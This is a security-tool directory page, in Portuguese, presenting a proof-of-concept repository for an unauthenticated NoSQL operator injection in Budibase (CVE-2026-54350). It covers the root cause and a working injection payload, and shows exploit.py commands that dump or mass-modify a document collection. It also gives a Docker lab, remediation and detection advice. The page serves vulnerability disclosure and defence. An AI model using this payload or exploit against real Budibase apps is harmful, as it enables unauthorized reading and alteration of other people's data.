Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-54350-Budibase-NoSQL-Injection — PoC para CVE-2026-54350 — Injeção de operador NoSQL não autenticada no Budibase (CVSS 10.0). Leia/escreva em massa qualquer coleção de documentos por meio de uma consulta PUBLIC. | Kitploit
Ferramentas/GitHubGitHub/biitts/cve-2026-54350-budibase-nosql-injection
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de PayloadsSegurança de Banco de Dados
GitHubbiitts/cve-2026-54350-budibase-nosql-injection

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

CVE-2026-54350-Budibase-NoSQL-Injection

PoC para CVE-2026-54350 — Injeção de operador NoSQL não autenticada no Budibase (CVSS 10.0). Leia/escreva em massa qualquer coleção de documentos por meio de uma consulta PUBLIC.

Ver Repositório
7há 2 mesesAinda não revisado
Compartilhar

CVE-2026-54350 — Budibase Injeção Não Autenticada de Operador NoSQL

Injeção não autenticada de operador JSON/NoSQL no Budibase. Qualquer visitante anônimo de um aplicativo Budibase publicado que exponha uma consulta PÚBLICA alimentada por uma fonte de dados documental (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL ou REST com corpo JSON) pode ler todos os documentos da coleção subjacente e, se existir uma consulta de escrita pública, modificar todos os documentos — com uma única requisição HTTP não autenticada.

CVECVE-2026-54350
AdvisoryGHSA-8qv3-p479-cj62
CVSS 3.110.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CWECWE-943 (Neutralização Incorreta de Elementos Especiais em uma Consulta de Dados), CWE-89
AuthNenhuma (não autenticado)
AfetadoBudibase <= 3.39.0 (faixa do advisory do fornecedor)
Corrigido3.39.12 conforme NVD; as aspas injetadas já são neutralizadas a partir de 3.39.1, e a correção explícita (processJsonStringSync) chega em 3.39.9
VereditoCONFIRMADO — reproduzido de ponta a ponta no 3.39.0

Causa raiz

Ao executar uma consulta, o Budibase enriquece os parâmetros do usuário no corpo JSON bruto da consulta com Handlebars, e então aplica JSON.parse no resultado:

root@kitploit:~
enrichContext()   packages/server/src/sdk/workspace/queries/queries.ts
  enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
  enrichedQuery.json = JSON.parse(enrichedQuery.json)

Em builds afetados, o parâmetro é interpolado sem escape JSON, então um valor contendo uma " fecha a string pretendida e injeta chaves irmãs no objeto analisado. O único filtro de entrada, validateQueryInputs() (api/controllers/query/index.ts), rejeita apenas marcadores Handlebars ({{, }}) — ele não toca em ", \, } ou $.

Para um find do MongoDB, o objeto analisado é passado diretamente para collection.find() (integrations/mongodb.ts). Uma chave name duplicada cujo valor seja um objeto operador vence a mesclagem do JSON.parse, transformando uma igualdade de string em {$exists: true} e retornando toda a coleção. A mesma primitiva contra uma consulta updateMany amplia o filtro para todos os documentos.

O controle de acesso é contornado porque authorized() (middleware/authorized.ts:141) faz curto-circuito com return next() quando a função de acesso do recurso da consulta é PUBLIC, ignorando tanto a autenticação de sessão quanto o CSRF. O cabeçalho x-budibase-app-id necessário para alcançar a consulta é público — faz parte de toda URL de aplicativo publicado.

Consulte ANALYSIS.md para a análise completa em nível de código e a investigação dos limites de versão.

O payload

Modelo do corpo da consulta (conforme configurado no builder):

root@kitploit:~
{"name":"{{ name }}"}

Valor injetado para o parâmetro name:

root@kitploit:~
zzz","name":{"$exists":true},"$comment":"cve-2026-54350

Após interpolação e JSON.parse (mesclagem de chave duplicada, a última vence):

root@kitploit:~
{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }

$comment é um meta-operador inerte do MongoDB que absorve o "} final do template para que todo o corpo permaneça JSON válido.

Exploit

exploit.py — apenas biblioteca padrão do Python 3, sem dependências.

root@kitploit:~
# Despejar toda a coleção por meio de uma consulta de LEITURA pública (find)
python3 exploit.py --url http://target --app-id app_<published> \
    --query-id query_<...> --mode read

# Modificar todos os documentos por meio de uma consulta de ESCRITA pública (updateMany)
python3 exploit.py --url http://target --app-id app_<published> \
    --query-id query_<...> --mode write

--app-id e --query-id são valores públicos observados no tráfego da API do próprio aplicativo publicado. --field substitui a chave JSON à qual o parâmetro está vinculado (padrão é --param).

Reproduzir

Requer Docker. Este laboratório usa --network host (sem assumir rede bridge) e mongo:4.4 (o host não possui AVX; MongoDB 5.0+ requer AVX).

root@kitploit:~
bash lab/setup.sh
# imprime PROD_APP_ID / READ_QUERY / UPDATE_QUERY, então:
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
    --query-id <READ_QUERY> --mode read

lab/provision.py utiliza apenas APIs legítimas do builder — não enfraquece nenhum padrão. Marcar a função de acesso de uma consulta como PUBLIC é um recurso de primeira classe do builder (aplicativos publicados expõem dados exatamente através deste mecanismo). Execução completa capturada em EVIDENCE.txt.

Uma nota sobre a versão afetada

O NVD lista a faixa afetada como < 3.39.12. Empiricamente, o vetor de aspas simples só é explorável em <= 3.39.0, que é exatamente a faixa que o advisory GHSA do fornecedor indica. A partir de 3.39.1, a camada de template já escapa as aspas injetadas (verificado: a mesma requisição contra 3.39.8 é neutralizada), e 3.39.9 introduz a correção explícita processJsonStringSync. Portanto, esta PoC visa 3.39.0, a versão mais recente dentro da faixa afetada do fornecedor.

Impacto

  • Confidencialidade: leitura em massa não autenticada de todos os documentos da coleção exposta, incluindo quaisquer campos sensíveis.
  • Integridade: modificação em massa não autenticada de todos os documentos quando existe uma consulta de escrita (update) pública.
  • Requisição única, sem sessão, sem token CSRF, capaz de origem cruzada.

Remediação

  • Atualize para uma versão corrigida do Budibase (>= 3.39.12, ou no mínimo >= 3.39.9 onde processJsonStringSync faz escape JSON dos parâmetros interpolados).
  • Audite aplicativos publicados para consultas cuja função de acesso seja PUBLIC; restrinja-as a funções autenticadas sempre que possível.
  • Para fontes de dados documentais, prefira consultas parametrizadas em vez de corpos JSON com template de string.

Detecção

Procure por requisições POST /api/v2/queries/<id>, de sessões não autenticadas, cujos valores parameters contenham uma " seguida por um operador MongoDB prefixado com $ ($exists, $ne, $gt, $where, $regex, ...) ou uma chave JSON duplicada. No MongoDB, ative o profiling e alerte quando um parâmetro de consulta que normalmente é uma string chegar como um objeto.

Créditos

Pesquisa e PoC por Caio Fabrício (@BiiTts).

Baixar ferramenta